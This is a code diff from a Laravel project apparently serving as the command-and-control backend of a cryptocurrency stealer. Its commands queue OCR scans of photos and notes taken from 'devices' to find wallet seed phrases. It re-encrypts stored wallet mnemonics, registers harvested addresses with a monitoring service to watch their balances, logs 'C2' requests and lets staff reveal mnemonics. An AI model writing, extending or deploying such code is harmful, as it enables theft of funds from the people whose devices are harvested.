$this->info(sprintf('dry-run matched_photos=%d devices=%d; pass --execute to delete', $seen, count($deviceIds)));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (array_keys($deviceIds) as $deviceId) {
|
||||||
|
$device = Device::query()->find($deviceId);
|
||||||
|
if ($device) {
|
||||||
|
$previews->forgetForDevice((string) $device->device_id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->info(sprintf(
|
||||||
|
'done deleted_rows=%d deleted_files=%d devices=%d',
|
||||||
|
$deletedRows,
|
||||||
|
$deletedFiles,
|
||||||
|
count($deviceIds),
|
||||||
|
));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param callable(Collection<int, Photo>): void $fn
|
||||||
|
*/
|
||||||
|
private function eachPhotoBatch(Builder $q, int $size, callable $fn): void
|
||||||
|
{
|
||||||
|
$lastId = 0;
|
||||||
|
while (true) {
|
||||||
|
$photos = (clone $q)
|
||||||
|
->select(['photos.id', 'photos.device_id', 'photos.path'])
|
||||||
|
->where('photos.id', '>', $lastId)
|
||||||
|
->orderBy('photos.id')
|
||||||
|
->limit($size)
|
||||||
|
->get();
|
||||||
|
if ($photos->isEmpty()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$fn($photos);
|
||||||
|
$lastId = (int) $photos->last()->id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
|
||||||
|
class ReencryptMnemonicsCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:reencrypt-mnemonics
|
||||||
|
{--execute : Rewrite mnemonic_enc with the current APP_KEY (default is dry-run)}';
|
||||||
|
|
||||||
|
protected $description = 'Decrypt wallet_mnemonics with APP_KEY / APP_PREVIOUS_KEYS and re-encrypt with the current key';
|
||||||
|
|
||||||
|
public function handle(): int
|
||||||
|
{
|
||||||
|
$previous = array_values(array_filter(config('app.previous_keys', [])));
|
||||||
|
$this->info('APP_KEY set: '.(filled(config('app.key')) ? 'yes' : 'no'));
|
||||||
|
$this->info('APP_PREVIOUS_KEYS: '.(count($previous) > 0 ? count($previous).' key(s)' : 'empty'));
|
||||||
|
|
||||||
|
$execute = (bool) $this->option('execute');
|
||||||
|
$ok = 0;
|
||||||
|
$failed = 0;
|
||||||
|
$empty = 0;
|
||||||
|
$rewritten = 0;
|
||||||
|
|
||||||
|
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $row) {
|
||||||
|
$enc = $row->getRawOriginal('mnemonic_enc');
|
||||||
|
if ($enc === null || $enc === '') {
|
||||||
|
$empty++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$plain = $row->mnemonic;
|
||||||
|
if ($plain === null || $plain === '') {
|
||||||
|
$failed++;
|
||||||
|
$this->warn("id={$row->id} decrypt failed");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ok++;
|
||||||
|
if (! $execute) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$row->mnemonic = $plain;
|
||||||
|
$row->save();
|
||||||
|
$rewritten++;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->info(sprintf(
|
||||||
|
'%s decryptable=%d failed=%d empty=%d%s',
|
||||||
|
$execute ? 'rewrote' : 'dry-run',
|
||||||
|
$ok,
|
||||||
|
$failed,
|
||||||
|
$empty,
|
||||||
|
$execute ? " rewritten={$rewritten}" : '',
|
||||||
|
));
|
||||||
|
|
||||||
|
if ($failed > 0) {
|
||||||
|
$this->warn('failed rows need the original APP_KEY in APP_PREVIOUS_KEYS (or restore APP_KEY).');
|
||||||
|
}
|
||||||
|
if (! $execute) {
|
||||||
|
$this->comment('dry-run only; pass --execute to rewrite ciphertext');
|
||||||
|
}
|
||||||
|
|
||||||
|
return $failed > 0 ? self::FAILURE : self::SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,103 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Jobs\ScanDeviceNotes;
|
||||||
|
use App\Jobs\ScanPhotoMnemonic;
|
||||||
|
use App\Models\Note;
|
||||||
|
use App\Models\NoteScan;
|
||||||
|
use App\Models\Photo;
|
||||||
|
use App\Services\MnemonicScanStatus;
|
||||||
|
use App\Support\NoteContent;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
|
||||||
|
class ScanMnemonicsCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:scan-mnemonics
|
||||||
|
{--limit=200 : Max photos to enqueue per run}';
|
||||||
|
|
||||||
|
protected $description = 'Enqueue pending album/note mnemonic scans (does not run Tesseract)';
|
||||||
|
|
||||||
|
public function handle(): int
|
||||||
|
{
|
||||||
|
$limit = max(1, (int) $this->option('limit'));
|
||||||
|
$photoIds = $this->pendingPhotoIds($limit);
|
||||||
|
|
||||||
|
foreach ($photoIds as $photoId) {
|
||||||
|
ScanPhotoMnemonic::dispatch($photoId)->onQueue('ocr');
|
||||||
|
}
|
||||||
|
|
||||||
|
$noteQueued = 0;
|
||||||
|
$seenDevices = [];
|
||||||
|
Note::query()->orderByDesc('id')->limit(200)->get(['id', 'device_id', 'content'])->each(function (Note $note) use (&$noteQueued, &$seenDevices) {
|
||||||
|
if (isset($seenDevices[$note->device_id])) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$seenDevices[$note->device_id] = true;
|
||||||
|
$items = NoteContent::normalizeStored($note->content);
|
||||||
|
foreach ($items as $index => $item) {
|
||||||
|
$key = NoteScan::itemKey($item, $index);
|
||||||
|
$hash = NoteScan::itemHash($item);
|
||||||
|
$existing = NoteScan::query()
|
||||||
|
->where('device_id', $note->device_id)
|
||||||
|
->where('note_id', $note->id)
|
||||||
|
->where('item_key', $key)
|
||||||
|
->first();
|
||||||
|
if ($existing
|
||||||
|
&& hash_equals((string) $existing->content_hash, $hash)
|
||||||
|
&& ! in_array((int) $existing->scan_status, [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED], true)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
ScanDeviceNotes::dispatch($note->device_id);
|
||||||
|
$noteQueued++;
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
$this->info('enqueued photos='.count($photoIds).' note-devices='.$noteQueued);
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Boosted (text/x_hit) first, then newest pending. Avoids ORDER BY CASE filesort
|
||||||
|
* over the whole pending set every minute.
|
||||||
|
*
|
||||||
|
* @return list<int>
|
||||||
|
*/
|
||||||
|
private function pendingPhotoIds(int $limit): array
|
||||||
|
{
|
||||||
|
$statuses = [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED];
|
||||||
|
$boosted = Photo::query()
|
||||||
|
->whereIn('scan_status', $statuses)
|
||||||
|
->where(function ($q) {
|
||||||
|
$q->where('text_count', '>', 0)->orWhere('x_hit', '>', 0);
|
||||||
|
})
|
||||||
|
->orderByDesc('created_at')
|
||||||
|
->orderByDesc('id')
|
||||||
|
->limit($limit)
|
||||||
|
->pluck('id');
|
||||||
|
|
||||||
|
$ids = $boosted->map(fn ($id) => (int) $id)->all();
|
||||||
|
if (count($ids) >= $limit) {
|
||||||
|
return $ids;
|
||||||
|
}
|
||||||
|
|
||||||
|
$rest = Photo::query()
|
||||||
|
->whereIn('scan_status', $statuses)
|
||||||
|
->where(function ($q) {
|
||||||
|
$q->where(function ($q) {
|
||||||
|
$q->whereNull('text_count')->orWhere('text_count', '<=', 0);
|
||||||
|
})->where(function ($q) {
|
||||||
|
$q->whereNull('x_hit')->orWhere('x_hit', '<=', 0);
|
||||||
|
});
|
||||||
|
})
|
||||||
|
->orderByDesc('created_at')
|
||||||
|
->orderByDesc('id')
|
||||||
|
->limit($limit - count($ids))
|
||||||
|
->pluck('id');
|
||||||
|
|
||||||
|
return array_merge($ids, $rest->map(fn ($id) => (int) $id)->all());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,209 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Services\Tokenview\TokenviewMonitorService;
|
||||||
|
use App\Support\SafeLog;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
use Illuminate\Support\Facades\Cache;
|
||||||
|
|
||||||
|
class SyncTokenviewMonitorsCommand extends Command
|
||||||
|
{
|
||||||
|
/** Cache key for the last run summary. */
|
||||||
|
public const LAST_RUN_KEY = 'coruna.sync-monitors.last_run';
|
||||||
|
|
||||||
|
protected $signature = 'coruna:sync-monitors
|
||||||
|
{--limit=200 : Max addresses to process per run}
|
||||||
|
{--status : Show the last run summary instead of running}';
|
||||||
|
|
||||||
|
protected $description = 'Register monitor=1 & monitor_synced=0 addresses with Tokenview (retry addresses whose initial sync failed)';
|
||||||
|
|
||||||
|
public function handle(TokenviewMonitorService $svc): int
|
||||||
|
{
|
||||||
|
if ($this->option('status')) {
|
||||||
|
return $this->printStatus();
|
||||||
|
}
|
||||||
|
|
||||||
|
$log = SafeLog::channel('tokenview');
|
||||||
|
$startedAt = microtime(true);
|
||||||
|
$startedAtStr = now()->toDateTimeString();
|
||||||
|
|
||||||
|
if (! $svc->shouldMonitor(new WalletAddress(['chain_type' => 'TRON']))) {
|
||||||
|
$this->info('Tokenview not configured or no supported chains — nothing to sync.');
|
||||||
|
$log->warning('sync-monitors run skipped: tokenview not configured or no supported chains');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
$limit = (int) $this->option('limit');
|
||||||
|
$maxFailures = TokenviewMonitorService::MAX_SYNC_FAILURES;
|
||||||
|
// Only process addresses that are switched on (monitor=1), not yet
|
||||||
|
// actually registered with Tokenview (monitor_synced=0), and have not
|
||||||
|
// exhausted the retry budget (monitor_failures < MAX).
|
||||||
|
$addresses = WalletAddress::query()
|
||||||
|
->where('monitor', 1)
|
||||||
|
->where('monitor_synced', false)
|
||||||
|
->where('monitor_failures', '<', $maxFailures)
|
||||||
|
->orderByDesc('updated_at')
|
||||||
|
->limit($limit)
|
||||||
|
->get();
|
||||||
|
|
||||||
|
$pending = $addresses->count();
|
||||||
|
$log->info('sync-monitors run start', [
|
||||||
|
'started_at' => $startedAtStr,
|
||||||
|
'pending' => $pending,
|
||||||
|
'limit' => $limit,
|
||||||
|
]);
|
||||||
|
$this->info("sync-monitors starting: {$pending} unsynced address(es).");
|
||||||
|
|
||||||
|
if ($pending === 0) {
|
||||||
|
$this->info('no unsynced monitor=1 addresses.');
|
||||||
|
$this->storeLastRun($startedAt, $startedAtStr, 0, 0, 0, 0);
|
||||||
|
$log->info('sync-monitors run done: nothing to sync');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ok = 0;
|
||||||
|
$fail = 0;
|
||||||
|
$skipped = 0;
|
||||||
|
$perAddress = [];
|
||||||
|
foreach ($addresses as $addr) {
|
||||||
|
if (! $svc->shouldMonitor($addr)) {
|
||||||
|
$skipped++;
|
||||||
|
$log->info('sync-monitors skip: unsupported chain or tokenview disabled', [
|
||||||
|
'id' => $addr->id,
|
||||||
|
'address' => $addr->address,
|
||||||
|
'chain_type' => $addr->chain_type,
|
||||||
|
]);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
$result = $svc->syncMonitor($addr);
|
||||||
|
$failures = (int) $addr->fresh()->monitor_failures;
|
||||||
|
if ($result) {
|
||||||
|
$ok++;
|
||||||
|
$log->info('sync-monitors ok', [
|
||||||
|
'id' => $addr->id,
|
||||||
|
'address' => $addr->address,
|
||||||
|
'chain_type' => $addr->chain_type,
|
||||||
|
]);
|
||||||
|
$perAddress[] = ['address' => $addr->address, 'chain' => $addr->chain_type, 'ok' => true, 'failures' => $failures];
|
||||||
|
} else {
|
||||||
|
$fail++;
|
||||||
|
$exhausted = $failures >= $maxFailures;
|
||||||
|
$log->warning('sync-monitors fail: tokenview addAddress returned false', [
|
||||||
|
'id' => $addr->id,
|
||||||
|
'address' => $addr->address,
|
||||||
|
'chain_type' => $addr->chain_type,
|
||||||
|
'failures' => $failures,
|
||||||
|
'exhausted' => $exhausted,
|
||||||
|
]);
|
||||||
|
$reason = $exhausted
|
||||||
|
? "api returned false (failures={$failures}, giving up)"
|
||||||
|
: "api returned false (failures={$failures})";
|
||||||
|
$perAddress[] = ['address' => $addr->address, 'chain' => $addr->chain_type, 'ok' => false, 'reason' => $reason, 'failures' => $failures];
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$fail++;
|
||||||
|
$failures = (int) $addr->fresh()->monitor_failures;
|
||||||
|
$this->warn(" failed: {$addr->address} ({$addr->chain_type}): {$e->getMessage()}");
|
||||||
|
$log->warning('sync-monitors fail: exception', [
|
||||||
|
'id' => $addr->id,
|
||||||
|
'address' => $addr->address,
|
||||||
|
'chain_type' => $addr->chain_type,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'failures' => $failures,
|
||||||
|
]);
|
||||||
|
$perAddress[] = ['address' => $addr->address, 'chain' => $addr->chain_type, 'ok' => false, 'reason' => $e->getMessage(), 'failures' => $failures];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$elapsed = round(microtime(true) - $startedAt, 3);
|
||||||
|
$this->info("synced: ok={$ok} fail={$fail} skipped={$skipped} total=".count($addresses)." in {$elapsed}s");
|
||||||
|
|
||||||
|
$log->info('sync-monitors run done', [
|
||||||
|
'started_at' => $startedAtStr,
|
||||||
|
'ok' => $ok,
|
||||||
|
'fail' => $fail,
|
||||||
|
'skipped' => $skipped,
|
||||||
|
'total' => count($addresses),
|
||||||
|
'elapsed_sec' => $elapsed,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->storeLastRun($startedAt, $startedAtStr, $ok, $fail, $skipped, count($addresses), $perAddress);
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function storeLastRun(
|
||||||
|
float $startedAt,
|
||||||
|
string $startedAtStr,
|
||||||
|
int $ok,
|
||||||
|
int $fail,
|
||||||
|
int $skipped,
|
||||||
|
int $total,
|
||||||
|
array $perAddress = [],
|
||||||
|
): void {
|
||||||
|
Cache::put(self::LAST_RUN_KEY, [
|
||||||
|
'started_at' => $startedAtStr,
|
||||||
|
'finished_at' => now()->toDateTimeString(),
|
||||||
|
'elapsed_sec' => round(microtime(true) - $startedAt, 3),
|
||||||
|
'ok' => $ok,
|
||||||
|
'fail' => $fail,
|
||||||
|
'skipped' => $skipped,
|
||||||
|
'total' => $total,
|
||||||
|
'per_address' => $perAddress,
|
||||||
|
], now()->addDays(7));
|
||||||
|
}
|
||||||
|
|
||||||
|
private function printStatus(): int
|
||||||
|
{
|
||||||
|
$last = Cache::get(self::LAST_RUN_KEY);
|
||||||
|
if (! $last) {
|
||||||
|
$this->info('no recorded run yet — sync-monitors has not executed since the cache was cleared.');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->info('=== coruna:sync-monitors last run ===');
|
||||||
|
$this->line('started : '.$last['started_at']);
|
||||||
|
$this->line('finished: '.$last['finished_at']);
|
||||||
|
$this->line('elapsed : '.$last['elapsed_sec'].'s');
|
||||||
|
$this->line(sprintf('ok=%d fail=%d skipped=%d total=%d',
|
||||||
|
$last['ok'], $last['fail'], $last['skipped'], $last['total']));
|
||||||
|
|
||||||
|
$maxFailures = TokenviewMonitorService::MAX_SYNC_FAILURES;
|
||||||
|
$pending = WalletAddress::query()
|
||||||
|
->where('monitor', 1)
|
||||||
|
->where('monitor_synced', false)
|
||||||
|
->where('monitor_failures', '<', $maxFailures)
|
||||||
|
->count();
|
||||||
|
$this->line("currently retryable (monitor=1 & monitor_synced=0 & failures<{$maxFailures}): {$pending}");
|
||||||
|
|
||||||
|
$exhausted = WalletAddress::query()
|
||||||
|
->where('monitor', 1)
|
||||||
|
->where('monitor_synced', false)
|
||||||
|
->where('monitor_failures', '>=', $maxFailures)
|
||||||
|
->count();
|
||||||
|
$this->line("gave up (failures>={$maxFailures}): {$exhausted}");
|
||||||
|
|
||||||
|
if (! empty($last['per_address'])) {
|
||||||
|
$this->line('');
|
||||||
|
$this->line('per-address results:');
|
||||||
|
foreach ($last['per_address'] as $r) {
|
||||||
|
$tag = $r['ok'] ? 'OK ' : 'FAIL';
|
||||||
|
$reason = $r['ok'] ? '' : ' — '.($r['reason'] ?? '');
|
||||||
|
$failures = isset($r['failures']) ? " [failures={$r['failures']}]" : '';
|
||||||
|
$this->line(sprintf(' [%s] %s (%s)%s%s', $tag, $r['address'], $r['chain'], $reason, $failures));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$logPath = storage_path('logs/tokenview/tokenview-'.now()->format('Y-m-d').'.log');
|
||||||
|
$this->line('');
|
||||||
|
$this->line('today\'s log: '.$logPath);
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Services\Chain\TronDriver;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
use RuntimeException;
|
||||||
|
|
||||||
|
class TronToolCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:tron
|
||||||
|
{action : create | balance | address}
|
||||||
|
{value? : balance 时填地址;address 时填私钥}';
|
||||||
|
|
||||||
|
protected $description = 'TRON 工具:创建地址/私钥、由私钥推地址、查 TRX/USDT 余额';
|
||||||
|
|
||||||
|
public function handle(TronDriver $tron): int
|
||||||
|
{
|
||||||
|
$action = strtolower(trim((string) $this->argument('action')));
|
||||||
|
|
||||||
|
return match ($action) {
|
||||||
|
'create' => $this->createWallet(),
|
||||||
|
'balance' => $this->showBalance($tron),
|
||||||
|
'address' => $this->addressFromKey(),
|
||||||
|
default => $this->invalidAction($action),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private function createWallet(): int
|
||||||
|
{
|
||||||
|
$privateKey = bin2hex(random_bytes(32));
|
||||||
|
$address = TronDriver::addressFromPrivateKey($privateKey);
|
||||||
|
|
||||||
|
$this->line('address : '.$address);
|
||||||
|
$this->line('privateKey : '.$privateKey);
|
||||||
|
$this->warn('请妥善保存私钥,丢失无法找回。');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function addressFromKey(): int
|
||||||
|
{
|
||||||
|
$key = trim((string) ($this->argument('value') ?? ''));
|
||||||
|
if ($key === '') {
|
||||||
|
$this->error('用法: php artisan coruna:tron address <privateKeyHex>');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$address = TronDriver::addressFromPrivateKey($key);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->error('无效私钥: '.$e->getMessage());
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->line('address : '.$address);
|
||||||
|
$this->line('privateKey : '.strtolower(str_starts_with($key, '0x') ? substr($key, 2) : $key));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function showBalance(TronDriver $tron): int
|
||||||
|
{
|
||||||
|
$address = trim((string) ($this->argument('value') ?? ''));
|
||||||
|
if ($address === '') {
|
||||||
|
$this->error('用法: php artisan coruna:tron balance <TAddress>');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $tron->isValidAddress($address)) {
|
||||||
|
$this->error('无效 TRON 地址');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$trx = $tron->getNativeBalance($address);
|
||||||
|
$contract = trim((string) config('coruna.tron.usdt_contract', ''));
|
||||||
|
$usdt = $contract !== '' ? $tron->getTokenBalance($address, $contract) : '0';
|
||||||
|
} catch (RuntimeException $e) {
|
||||||
|
$this->error($e->getMessage());
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->error('查询失败: '.$e->getMessage());
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->line('address : '.$address);
|
||||||
|
$this->line('TRX : '.$trx);
|
||||||
|
$this->line('USDT : '.$usdt);
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function invalidAction(string $action): int
|
||||||
|
{
|
||||||
|
$this->error("未知操作: {$action}");
|
||||||
|
$this->line('用法:');
|
||||||
|
$this->line(' php artisan coruna:tron create');
|
||||||
|
$this->line(' php artisan coruna:tron address <privateKeyHex>');
|
||||||
|
$this->line(' php artisan coruna:tron balance <TAddress>');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
}
|
||||||
+34
-3
@@ -1,5 +1,7 @@
|
|||||||
<?php
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
/* C2 / API request file logs — patterned after qrpay create_log */
|
/* C2 / API request file logs — patterned after qrpay create_log */
|
||||||
|
|
||||||
if (! function_exists('create_log')) {
|
if (! function_exists('create_log')) {
|
||||||
@@ -24,19 +26,48 @@ if (! function_exists('create_log')) {
|
|||||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||||
try {
|
try {
|
||||||
$url = request()->getRequestUri();
|
$url = request()->getRequestUri();
|
||||||
} catch (\Throwable) {
|
} catch (Throwable) {
|
||||||
$url = $_SERVER['REQUEST_URI'] ?? '';
|
$url = $_SERVER['REQUEST_URI'] ?? '';
|
||||||
}
|
}
|
||||||
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
|
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
|
||||||
$isNew = ! file_exists($logName);
|
$isNew = ! file_exists($logName);
|
||||||
if (@file_put_contents($logName, $logStr, FILE_APPEND) === false) {
|
// LOCK_EX prevents concurrent chunk uploads from interleaving
|
||||||
|
// and losing log entries when multiple requests append to the
|
||||||
|
// same daily log file simultaneously.
|
||||||
|
if (@file_put_contents($logName, $logStr, FILE_APPEND | LOCK_EX) === false) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if ($isNew) {
|
if ($isNew) {
|
||||||
@chmod($logName, 0664);
|
@chmod($logName, 0664);
|
||||||
}
|
}
|
||||||
} catch (\Throwable) {
|
} catch (Throwable) {
|
||||||
// never break the request for logging
|
// never break the request for logging
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (! function_exists('c2_log_request_meta')) {
|
||||||
|
/**
|
||||||
|
* IP + proxy headers for C2 file logs.
|
||||||
|
*
|
||||||
|
* @return array{ip: string|null, remote_addr: mixed, headers: array<string, string|null>}
|
||||||
|
*/
|
||||||
|
function c2_log_request_meta(Request $request): array
|
||||||
|
{
|
||||||
|
$headers = [];
|
||||||
|
foreach ([
|
||||||
|
'x-ts', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent',
|
||||||
|
'host', 'cf-connecting-ip', 'cf-ipcountry', 'x-forwarded-for', 'x-real-ip',
|
||||||
|
] as $h) {
|
||||||
|
if ($request->headers->has($h)) {
|
||||||
|
$headers[$h] = $request->headers->get($h);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'ip' => \App\Support\VisitorIp::fromRequest($request),
|
||||||
|
'remote_addr' => $request->server->get('REMOTE_ADDR'),
|
||||||
|
'headers' => $headers,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
|||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Models\Admin;
|
use App\Models\Admin;
|
||||||
|
use App\Models\SystemLog;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Validation\Rule;
|
use Illuminate\Validation\Rule;
|
||||||
|
|
||||||
@@ -30,7 +31,7 @@ class AdminUserController extends Controller
|
|||||||
}
|
}
|
||||||
$q->orderBy($field, $order);
|
$q->orderBy($field, $order);
|
||||||
|
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
@@ -43,6 +44,9 @@ class AdminUserController extends Controller
|
|||||||
'status' => (int) $a->status,
|
'status' => (int) $a->status,
|
||||||
'google_auth_open' => (int) $a->google_auth_open,
|
'google_auth_open' => (int) $a->google_auth_open,
|
||||||
'last_ip' => $a->last_ip,
|
'last_ip' => $a->last_ip,
|
||||||
|
'login_attempts' => (int) $a->login_attempts,
|
||||||
|
'locked_at' => optional($a->locked_at)->format('Y-m-d H:i:s'),
|
||||||
|
'is_locked' => $a->isLocked(),
|
||||||
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
|
||||||
'is_self' => $a->id === $selfId,
|
'is_self' => $a->id === $selfId,
|
||||||
@@ -121,6 +125,35 @@ class AdminUserController extends Controller
|
|||||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Unlock an admin account that was locked due to too many failed
|
||||||
|
* password attempts. Only super admins can unlock.
|
||||||
|
*/
|
||||||
|
public function unlock(Admin $adminUser)
|
||||||
|
{
|
||||||
|
/** @var Admin $actor */
|
||||||
|
$actor = auth('admin')->user();
|
||||||
|
if (! $actor instanceof Admin || ! $actor->isSuper()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $adminUser->isLocked()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '该账号未被封禁']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$adminUser->clearLoginAttempts();
|
||||||
|
|
||||||
|
SystemLog::record(
|
||||||
|
$actor,
|
||||||
|
'admin',
|
||||||
|
SystemLog::ACTION_ADMIN_UNLOCKED,
|
||||||
|
'超级管理员「'.$actor->username.'」解除管理员「'.$adminUser->username.'」的封禁状态',
|
||||||
|
request(),
|
||||||
|
);
|
||||||
|
|
||||||
|
return response()->json(['code' => 0, 'msg' => '已解除封禁']);
|
||||||
|
}
|
||||||
|
|
||||||
private function superCount(): int
|
private function superCount(): int
|
||||||
{
|
{
|
||||||
return (int) Admin::query()->where('is_super', 1)->count();
|
return (int) Admin::query()->where('is_super', 1)->count();
|
||||||
|
|||||||
@@ -3,16 +3,23 @@
|
|||||||
namespace App\Http\Controllers\Admin;
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\Admin;
|
||||||
use App\Models\Channel;
|
use App\Models\Channel;
|
||||||
|
use App\Models\SystemLog;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
|
use App\Services\TelegramNotifier;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Validation\Rule;
|
use Illuminate\Validation\Rule;
|
||||||
|
|
||||||
class AgentUserController extends Controller
|
class AgentUserController extends Controller
|
||||||
{
|
{
|
||||||
public function index()
|
public function index(TelegramNotifier $telegram)
|
||||||
{
|
{
|
||||||
return view('admin.agents.index');
|
return view('admin.agents.index', [
|
||||||
|
'botUsername' => $telegram->cachedBotUsername(),
|
||||||
|
'botInviteUrl' => $telegram->inviteUrl(),
|
||||||
|
'staff_mnemonic_reveal' => (bool) config('coruna.mnemonic_reveal.staff_enabled'),
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function data(Request $request)
|
public function data(Request $request)
|
||||||
@@ -36,20 +43,39 @@ class AgentUserController extends Controller
|
|||||||
}
|
}
|
||||||
$q->orderBy($field, $order);
|
$q->orderBy($field, $order);
|
||||||
|
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
